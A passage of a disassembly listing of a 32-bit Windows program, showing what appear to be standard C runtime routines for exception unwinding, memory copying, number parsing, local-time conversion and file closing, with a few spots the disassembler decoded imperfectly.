loc_41112E: ; CODE XREF: sub_4110BE+21j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4110BE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411133 proc near ; CODE XREF: sub_414E41+C6p
; sub_414FE8+43p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
cmp [ebp+arg_4], 0
push edi
mov edi, [ebp+arg_0]
mov esi, [edi+0Ch]
mov ebx, [edi+10h]
mov eax, esi
mov [ebp+arg_0], esi
mov [ebp+var_4], eax
jl short loc_41118A
loc_411151: ; CODE XREF: sub_411133+52j
cmp esi, 0FFFFFFFFh
jnz short loc_41115B
call sub_415642
loc_41115B: ; CODE XREF: sub_411133+21j
mov ecx, [ebp+arg_8]
dec esi
lea eax, [esi+esi*4]
cmp [ebx+eax*4+4], ecx
lea eax, [ebx+eax*4]
jge short loc_411170
cmp ecx, [eax+8]
jle short loc_411175
loc_411170: ; CODE XREF: sub_411133+36j
cmp esi, 0FFFFFFFFh
jnz short loc_411181
loc_411175: ; CODE XREF: sub_411133+3Bj
mov eax, [ebp+arg_0]
dec [ebp+arg_4]
mov [ebp+var_4], eax
mov [ebp+arg_0], esi
loc_411181: ; CODE XREF: sub_411133+40j
cmp [ebp+arg_4], 0
jge short loc_411151
mov eax, [ebp+var_4]
loc_41118A: ; CODE XREF: sub_411133+1Cj
mov ecx, [ebp+arg_C]
inc esi
mov [ecx], esi
mov ecx, [ebp+arg_10]
mov [ecx], eax
cmp eax, [edi+0Ch]
ja short loc_41119E
cmp esi, eax
jbe short loc_4111A3
loc_41119E: ; CODE XREF: sub_411133+65j
call sub_415642
loc_4111A3: ; CODE XREF: sub_411133+69j
lea eax, [esi+esi*4]
pop edi
pop esi
lea eax, [ebx+eax*4]
pop ebx
leave
retn
sub_411133 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4111B0 proc near ; CODE XREF: sub_417B48+5Ap
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset loc_4111C8
push [ebp+arg_0]
call sub_41AFFE ; RtlUnwind
loc_4111C8: ; DATA XREF: sub_4111B0+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4111B0 endp
; =============== S U B R O U T I N E =======================================
sub_4111D0 proc near ; DATA XREF: sub_4111F2+Ao
; sub_41125A+9o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = dword ptr 10h
mov ecx, [esp+arg_0]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_4111F1
mov eax, [esp+arg_4]
mov edx, [esp+arg_C]
mov [edx], eax
mov eax, 3
locret_4111F1: ; CODE XREF: sub_4111D0+10j
retn
sub_4111D0 endp
; =============== S U B R O U T I N E =======================================
sub_4111F2 proc near ; CODE XREF: seg000:004152CFp
; sub_417B48+67p ...
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset sub_4111D0
push large dword ptr fs:0
mov large fs:0, esp
loc_41120F: ; CODE XREF: sub_4111F2:loc_41124Aj
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_41124C
cmp esi, [esp+1Ch+arg_4]
jz short loc_41124C
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+1Ch+var_14], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_41124A
push 101h
mov eax, [ebx+esi*4+8]
call sub_411286
call dword ptr [ebx+esi*4+8]
loc_41124A: ; CODE XREF: sub_4111F2+44j
jmp short loc_41120F
; ---------------------------------------------------------------------------
loc_41124C: ; CODE XREF: sub_4111F2+2Aj
; sub_4111F2+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_4111F2 endp
; =============== S U B R O U T I N E =======================================
sub_41125A proc near ; CODE XREF: sub_4152E2+37p
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset sub_4111D0
jnz short locret_41127C
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_41127C
mov eax, 1
locret_41127C: ; CODE XREF: sub_41125A+10j
; sub_41125A+1Bj
retn
sub_41125A endp
; =============== S U B R O U T I N E =======================================
sub_41127D proc near ; CODE XREF: sub_4155A0+1Ep
; sub_4155A0+40p
push ebx
push ecx
mov ebx, offset dword_42E16C
jmp short loc_411290
sub_41127D endp
; =============== S U B R O U T I N E =======================================
sub_411286 proc near ; CODE XREF: sub_4111F2+4Fp
; sub_417B48+78p
push ebx
push ecx
mov ebx, offset dword_42E16C
mov ecx, [ebp+8]
loc_411290: ; CODE XREF: sub_41127D+7j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
pop ecx
pop ebx
retn 4
sub_411286 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4112A0 proc near ; CODE XREF: sub_402930+5p
; sub_402AD2+5p ...
push 0FFFFFFFFh
push eax
mov eax, large fs:0
push eax
mov eax, [esp+0Ch]
mov large fs:0, esp
mov [esp+0Ch], ebp
lea ebp, [esp+0Ch]
push eax
retn
sub_4112A0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4112BF proc near ; CODE XREF: sub_402FA7+26p
; seg000:0041ADD5p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_410C83
pop ecx
retn
sub_4112BF endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4112D0 proc near ; CODE XREF: sub_403018+3Ap
; sub_41357B+2EEp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_4112F0
cmp edi, eax
jb loc_411468
loc_4112F0: ; CODE XREF: sub_4112D0+16j
test edi, 3
jnz short loc_41130C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41132C
rep movsd
jmp ds:off_411418[edx*4]
; ---------------------------------------------------------------------------
loc_41130C: ; CODE XREF: sub_4112D0+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_411324
and eax, 3
add ecx, eax
jmp dword ptr ds:loc_41132C+4[eax*4]
; ---------------------------------------------------------------------------
loc_411324: ; CODE XREF: sub_4112D0+46j
jmp dword ptr ds:loc_411428[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41132C: ; CODE XREF: sub_4112D0+31j
; sub_4112D0+8Ej ...
jmp ds:off_4113AC[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_411340
dd offset loc_41136C
dd offset loc_411390
; ---------------------------------------------------------------------------
loc_411340: ; DATA XREF: sub_4112D0+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41132C
rep movsd
jmp ds:off_411418[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41136C: ; DATA XREF: sub_4112D0+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41132C
rep movsd
jmp ds:off_411418[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_411390: ; DATA XREF: sub_4112D0+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41132C
rep movsd
jmp ds:off_411418[edx*4]
; ---------------------------------------------------------------------------
align 4
off_4113AC dd offset loc_41140F ; DATA XREF: sub_4112D0:loc_41132Cr
dd offset loc_4113FC
dd offset loc_4113F4
dd offset loc_4113EC
dd offset loc_4113E4
dd offset loc_4113DC
dd offset loc_4113D4
dd offset loc_4113CC
; ---------------------------------------------------------------------------
loc_4113CC: ; CODE XREF: sub_4112D0:loc_41132Cj
; DATA XREF: sub_4112D0+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_4113D4: ; CODE XREF: sub_4112D0:loc_41132Cj
; DATA XREF: sub_4112D0+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_4113DC: ; CODE XREF: sub_4112D0:loc_41132Cj
; DATA XREF: sub_4112D0+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_4113E4: ; CODE XREF: sub_4112D0:loc_41132Cj
; DATA XREF: sub_4112D0+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_4113EC: ; CODE XREF: sub_4112D0:loc_41132Cj
; DATA XREF: sub_4112D0+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_4113F4: ; CODE XREF: sub_4112D0:loc_41132Cj
; DATA XREF: sub_4112D0+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_4113FC: ; CODE XREF: sub_4112D0:loc_41132Cj
; DATA XREF: sub_4112D0+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41140F: ; CODE XREF: sub_4112D0:loc_41132Cj
; DATA XREF: sub_4112D0:off_4113ACo
jmp ds:off_411418[edx*4]
; ---------------------------------------------------------------------------
align 4
off_411418 dd offset loc_411428 ; DATA XREF: sub_4112D0+35r
; sub_4112D0+92r ...
dd offset loc_411430
dd offset loc_41143C
dd offset loc_411450
; ---------------------------------------------------------------------------
loc_411428: ; CODE XREF: sub_4112D0+35j
; sub_4112D0+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_411430: ; CODE XREF: sub_4112D0+35j
; sub_4112D0+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41143C: ; CODE XREF: sub_4112D0+35j
; sub_4112D0+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_411450: ; CODE XREF: sub_4112D0+35j
; sub_4112D0+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_411468: ; CODE XREF: sub_4112D0+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41149C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_411490
std
rep movsd
cld
jmp ds:off_4115B0[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_411490: ; CODE XREF: sub_4112D0+1B1j
; sub_4112D0+208j ...
neg ecx
jmp ds:off_411560[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41149C: ; CODE XREF: sub_4112D0+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_4114B4
and eax, 3
sub ecx, eax
jmp dword ptr ds:loc_4114B4+4[eax*4]
; ---------------------------------------------------------------------------
loc_4114B4: ; CODE XREF: sub_4112D0+1D6j
; DATA XREF: sub_4112D0+1DDr
jmp ds:off_4115B0[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_4114C8
dd offset loc_4114E8
dd offset loc_411510
; ---------------------------------------------------------------------------
loc_4114C8: ; DATA XREF: sub_4112D0+1ECo
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_411490
std
rep movsd
cld
jmp ds:off_4115B0[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_4114E8: ; DATA XREF: sub_4112D0+1F0o
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_411490
std
rep movsd
cld
jmp ds:off_4115B0[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_411510: ; DATA XREF: sub_4112D0+1F4o
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_411490
std
rep movsd
cld
jmp ds:off_4115B0[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_411564
dd offset loc_41156C
dd offset loc_411574
dd offset loc_41157C
dd offset loc_411584
dd offset loc_41158C
dd offset loc_411594
off_411560 dd offset loc_4115A7 ; DATA XREF: sub_4112D0+1C2r
; ---------------------------------------------------------------------------
loc_411564: ; DATA XREF: sub_4112D0+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41156C: ; DATA XREF: sub_4112D0+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_411574: ; DATA XREF: sub_4112D0+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41157C: ; DATA XREF: sub_4112D0+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_411584: ; DATA XREF: sub_4112D0+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_41158C: ; DATA XREF: sub_4112D0+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_411594: ; DATA XREF: sub_4112D0+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_4115A7: ; CODE XREF: sub_4112D0+1C2j
; DATA XREF: sub_4112D0:off_411560o
jmp ds:off_4115B0[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_4115B0 dd offset loc_4115C0 ; DATA XREF: sub_4112D0+1B7r
; sub_4112D0:loc_4114B4r ...
dd offset loc_4115C8
dd offset loc_4115D8
dd offset loc_4115EC
; ---------------------------------------------------------------------------
loc_4115C0: ; CODE XREF: sub_4112D0+1B7j
; sub_4112D0:loc_4114B4j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4115C8: ; CODE XREF: sub_4112D0+1B7j
; sub_4112D0:loc_4114B4j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4115D8: ; CODE XREF: sub_4112D0+1B7j
; sub_4112D0:loc_4114B4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4115EC: ; CODE XREF: sub_4112D0+1B7j
; sub_4112D0:loc_4114B4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_4112D0 endp
; =============== S U B R O U T I N E =======================================
sub_411605 proc near ; CODE XREF: sub_40307F+34p
; sub_40307F+4Fp ...
arg_0 = dword ptr 4
push 1
push [esp+4+arg_0]
call sub_410C21
pop ecx
pop ecx
retn
sub_411605 endp
; =============== S U B R O U T I N E =======================================
sub_411613 proc near ; CODE XREF: sub_411680+4p
arg_0 = dword ptr 4
push esi
push ds:dword_460EB4
call sub_415698
mov edx, ds:dword_460EB4
pop ecx
mov ecx, ds:dword_460EB0
mov esi, ecx
sub esi, edx
add esi, 4
cmp eax, esi
pop esi
jnb short loc_411672
push edx
call sub_415698
add eax, 10h
push eax
push ds:dword_460EB4
call sub_41237F
add esp, 0Ch
test eax, eax
jnz short loc_411655
retn
; ---------------------------------------------------------------------------
loc_411655: ; CODE XREF: sub_411613+3Fj
mov ecx, ds:dword_460EB0
sub ecx, ds:dword_460EB4
mov ds:dword_460EB4, eax
sar ecx, 2
lea ecx, [eax+ecx*4]
mov ds:dword_460EB0, ecx
loc_411672: ; CODE XREF: sub_411613+23j
mov eax, [esp+arg_0]
mov [ecx], eax
add ds:dword_460EB0, 4
retn
sub_411613 endp
; =============== S U B R O U T I N E =======================================
sub_411680 proc near ; CODE XREF: sub_40316C+1Ap
; sub_41AFDE+5p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_411613
neg eax
sbb eax, eax
pop ecx
neg eax
dec eax
retn
sub_411680 endp
; =============== S U B R O U T I N E =======================================
sub_411692 proc near ; DATA XREF: seg002:0041E014o
push 80h
call sub_410C0F
test eax, eax
pop ecx
mov ds:dword_460EB4, eax
jnz short loc_4116B3
push 18h
call sub_412ADE
mov eax, ds:dword_460EB4
pop ecx
loc_4116B3: ; CODE XREF: sub_411692+12j
and dword ptr [eax], 0
mov eax, ds:dword_460EB4
mov ds:dword_460EB0, eax
retn
sub_411692 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4116C1 proc near ; CODE XREF: sub_4118C9+Ep
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
and [ebp+var_8], 0
push esi
push edi
mov edi, [ebp+arg_0]
mov bl, [edi]
lea esi, [edi+1]
mov [ebp+var_4], esi
loc_4116D9: ; CODE XREF: sub_4116C1+46j
cmp ds:dword_42E39C, 1
jle short loc_4116F1
movzx eax, bl
push 8
push eax
call sub_413446
pop ecx
pop ecx
jmp short loc_411700
; ---------------------------------------------------------------------------
loc_4116F1: ; CODE XREF: sub_4116C1+1Fj
mov ecx, ds:off_42E190
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 8
loc_411700: ; CODE XREF: sub_4116C1+2Ej
test eax, eax
jz short loc_411709
mov bl, [esi]
inc esi
jmp short loc_4116D9
; ---------------------------------------------------------------------------
loc_411709: ; CODE XREF: sub_4116C1+41j
cmp bl, 2Dh
mov [ebp+var_4], esi
jnz short loc_411717
or [ebp+arg_C], 2
jmp short loc_41171C
; ---------------------------------------------------------------------------
loc_411717: ; CODE XREF: sub_4116C1+4Ej
cmp bl, 2Bh
jnz short loc_411722
loc_41171C: ; CODE XREF: sub_4116C1+54j
mov bl, [esi]
inc esi
mov [ebp+var_4], esi
loc_411722: ; CODE XREF: sub_4116C1+59j
mov eax, [ebp+arg_8]
test eax, eax
jl loc_4118B9
cmp eax, 1
jz loc_4118B9
cmp eax, 24h
jg loc_4118B9
push 10h
test eax, eax
pop ecx
jnz short loc_41176A
cmp bl, 30h
jz short loc_411754
mov [ebp+arg_8], 0Ah
jmp short loc_411786
; ---------------------------------------------------------------------------
loc_411754: ; CODE XREF: sub_4116C1+88j
mov al, [esi]
cmp al, 78h
jz short loc_411767
cmp al, 58h
jz short loc_411767
mov [ebp+arg_8], 8
jmp short loc_411786
; ---------------------------------------------------------------------------
loc_411767: ; CODE XREF: sub_4116C1+97j
; sub_4116C1+9Bj
mov [ebp+arg_8], ecx
loc_41176A: ; CODE XREF: sub_4116C1+83j
cmp [ebp+arg_8], ecx
jnz short loc_411786
cmp bl, 30h
jnz short loc_411786
mov al, [esi]
cmp al, 78h
jz short loc_41177E
cmp al, 58h
jnz short loc_411786
loc_41177E: ; CODE XREF: sub_4116C1+B7j
mov bl, [esi+1]
inc esi
inc esi
mov [ebp+var_4], esi
loc_411786: ; CODE XREF: sub_4116C1+91j
; sub_4116C1+A4j ...
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
mov edi, 103h
mov [ebp+var_C], eax
loc_411796: ; CODE XREF: sub_4116C1+16Cj
cmp ds:dword_42E39C, 1
movzx esi, bl
jle short loc_4117AE
push 4
push esi
call sub_413446
pop ecx
pop ecx
jmp short loc_4117B9
; ---------------------------------------------------------------------------
loc_4117AE: ; CODE XREF: sub_4116C1+DFj
mov eax, ds:off_42E190
mov al, [eax+esi*2]
and eax, 4
loc_4117B9: ; CODE XREF: sub_4116C1+EBj
test eax, eax
jz short loc_4117C5
movsx ecx, bl
sub ecx, 30h
jmp short loc_4117F7
; ---------------------------------------------------------------------------
loc_4117C5: ; CODE XREF: sub_4116C1+FAj
cmp ds:dword_42E39C, 1
jle short loc_4117D9
push edi
push esi
call sub_413446
pop ecx
pop ecx
jmp short loc_4117E4
; ---------------------------------------------------------------------------
loc_4117D9: ; CODE XREF: sub_4116C1+10Bj
mov eax, ds:off_42E190
mov ax, [eax+esi*2]
and eax, edi
loc_4117E4: ; CODE XREF: sub_4116C1+116j
test eax, eax
jz short loc_411832
movsx eax, bl
push eax
call sub_4156C1
pop ecx
mov ecx, eax
sub ecx, 37h
loc_4117F7: ; CODE XREF: sub_4116C1+102j
cmp ecx, [ebp+arg_8]
jnb short loc_411832
mov esi, [ebp+var_8]
or [ebp+arg_C], 8
cmp esi, [ebp+var_C]
jb short loc_41181C
jnz short loc_411816
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
cmp ecx, edx
jbe short loc_41181C
loc_411816: ; CODE XREF: sub_4116C1+147j
or [ebp+arg_C], 4
jmp short loc_411825
; ---------------------------------------------------------------------------
loc_41181C: ; CODE XREF: sub_4116C1+145j
; sub_4116C1+153j
imul esi, [ebp+arg_8]
add esi, ecx
mov [ebp+var_8], esi
loc_411825: ; CODE XREF: sub_4116C1+159j
mov eax, [ebp+var_4]
inc [ebp+var_4]
mov bl, [eax]
jmp loc_411796
; ---------------------------------------------------------------------------
loc_411832: ; CODE XREF: sub_4116C1+125j
; sub_4116C1+139j
mov ecx, [ebp+arg_C]
dec [ebp+var_4]
mov edx, [ebp+arg_4]
test cl, 8
jnz short loc_411850
test edx, edx
jz short loc_41184A
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_41184A: ; CODE XREF: sub_4116C1+181j
and [ebp+var_8], 0
jmp short loc_41189D
; ---------------------------------------------------------------------------
loc_411850: ; CODE XREF: sub_4116C1+17Dj
test cl, 4
mov eax, 7FFFFFFFh
jnz short loc_411876
test cl, 1
jnz short loc_41189D
and ecx, 2
jz short loc_41186D
cmp [ebp+var_8], 80000000h
ja short loc_411876
loc_41186D: ; CODE XREF: sub_4116C1+1A1j
test ecx, ecx
jnz short loc_41189D
cmp [ebp+var_8], eax
jbe short loc_41189D
loc_411876: ; CODE XREF: sub_4116C1+197j
; sub_4116C1+1AAj
test byte ptr [ebp+arg_C], 1
mov ds:dword_45F844, 22h
jz short loc_41188C
or [ebp+var_8], 0FFFFFFFFh
jmp short loc_41189D
; ---------------------------------------------------------------------------
loc_41188C: ; CODE XREF: sub_4116C1+1C3j
mov ecx, [ebp+arg_C]
and cl, 2
neg cl
sbb ecx, ecx
neg ecx
add ecx, eax
mov [ebp+var_8], ecx
loc_41189D: ; CODE XREF: sub_4116C1+18Dj
; sub_4116C1+19Cj ...
test edx, edx
jz short loc_4118A6
mov eax, [ebp+var_4]
mov [edx], eax
loc_4118A6: ; CODE XREF: sub_4116C1+1DEj
test byte ptr [ebp+arg_C], 2
jz short loc_4118B4
mov eax, [ebp+var_8]
neg eax
mov [ebp+var_8], eax
loc_4118B4: ; CODE XREF: sub_4116C1+1E9j
mov eax, [ebp+var_8]
jmp short loc_4118C4
; ---------------------------------------------------------------------------
loc_4118B9: ; CODE XREF: sub_4116C1+66j
; sub_4116C1+6Fj ...
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_4118C2
mov [eax], edi
loc_4118C2: ; CODE XREF: sub_4116C1+1FDj
xor eax, eax
loc_4118C4: ; CODE XREF: sub_4116C1+1F6j
pop edi
pop esi
pop ebx
leave
retn
sub_4116C1 endp
; =============== S U B R O U T I N E =======================================
sub_4118C9 proc near ; CODE XREF: sub_40318D+4BDp
; seg000:0040C132p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_4116C1
add esp, 10h
retn
sub_4118C9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4118E0 proc near ; CODE XREF: sub_40318D+266p
; sub_40318D+46Ap ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
mov [ebp+var_14], 49h
push eax
mov [ebp+var_18], eax
mov [ebp+var_20], eax
call sub_410B60
mov [ebp+var_1C], eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
push eax
call sub_41578D
add esp, 10h
leave
retn
sub_4118E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411914 proc near ; CODE XREF: sub_40318D+4Ep
var_CC = byte ptr -0CCh
var_32 = word ptr -32h
var_24 = dword ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1A = word ptr -1Ah
var_18 = word ptr -18h
var_16 = dword ptr -16h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
arg_A = byte ptr 12h
push ebp
mov ebp, esp
sub esp, 0CCh
lea eax, [ebp+var_10]
push eax
call ds:dword_41C000 ; GetLocalTime
lea eax, [ebp+var_20]
push eax
call near ptr 3E0000h
mov dl, 66h
mov eax, [ebp+var_16]
cmp ax, ds:word_45F83A
jnz short loc_411979
mov ax, [ebp+var_18]
cmp ax, ds:word_45F838
jnz short loc_411979
mov ax, [ebp+var_1A]
cmp ax, ds:word_45F836
jnz short loc_411979
mov ax, [ebp+var_1E]
cmp ax, ds:word_45F832
jnz short loc_411979
mov ax, [ebp+var_20]
cmp ax, ds:word_45F830
jnz short loc_411979
mov eax, ds:dword_45F828
jmp short loc_4119BE
; ---------------------------------------------------------------------------
loc_411979: ; CODE XREF: sub_411914+28j
; sub_411914+35j ...
lea eax, [ebp+var_CC]
push eax
call near ptr 3E0000h
add al, 83h
clc
push dword ptr [ebx+ebx-7Dh]
clc
add dh, [ebp+arg_A]
cmp [ebp+var_32], 0
jz short loc_4119A2
cmp [ebp+var_24], 0
jz short loc_4119A2
push 1
pop eax
jmp short loc_4119A9
; ---------------------------------------------------------------------------
loc_4119A2: ; CODE XREF: sub_411914+81j
; sub_411914+87j
xor eax, eax
jmp short loc_4119A9
; ---------------------------------------------------------------------------
or eax, 0FFFFFFFFh
loc_4119A9: ; CODE XREF: sub_411914+8Cj
; sub_411914+90j
push esi
push edi
lea esi, [ebp+var_20]
mov edi, offset word_45F830
movsd
movsd
movsd
movsd
pop edi
mov ds:dword_45F828, eax
pop esi
loc_4119BE: ; CODE XREF: sub_411914+63j
push eax
movzx eax, [ebp+var_4]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_10]
push eax
call sub_41623E
mov ecx, [ebp+arg_0]
add esp, 1Ch
test ecx, ecx
jz short locret_4119EE
mov [ecx], eax
locret_4119EE: ; CODE XREF: sub_411914+D6j
leave
retn
sub_411914 endp
; =============== S U B R O U T I N E =======================================
sub_4119F0 proc near ; CODE XREF: sub_40380D+7Cp
; seg000:00408144p ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
or edi, 0FFFFFFFFh
mov eax, [esi+0Ch]
test al, 40h
jz short loc_411A05
or eax, 0FFFFFFFFh
jmp short loc_411A3F
; ---------------------------------------------------------------------------
loc_411A05: ; CODE XREF: sub_4119F0+Ej
test al, 83h
jz short loc_411A3D
push esi
call sub_416419
push esi
mov edi, eax
call sub_4163B3
push dword ptr [esi+10h]
call sub_416300
add esp, 0Ch
test eax, eax
jge short loc_411A2B
or edi, 0FFFFFFFFh
jmp short loc_411A3D
; ---------------------------------------------------------------------------
loc_411A2B: ; CODE XREF: sub_4119F0+34j
mov eax, [esi+1Ch]
test eax, eax
jz short loc_411A3D
push eax
call sub_410C83
and dword ptr [esi+1Ch], 0
pop ecx
loc_411A3D: ; CODE XREF: sub_4119F0+17j
; sub_4119F0+39j ...
mov eax, edi
loc_411A3F: ; CODE XREF: sub_4119F0+13j
and dword ptr [esi+0Ch], 0
pop edi
pop esi
retn
sub_4119F0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411A46 proc near ; CODE XREF: sub_40380D+4Ep
; seg000:00408125p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
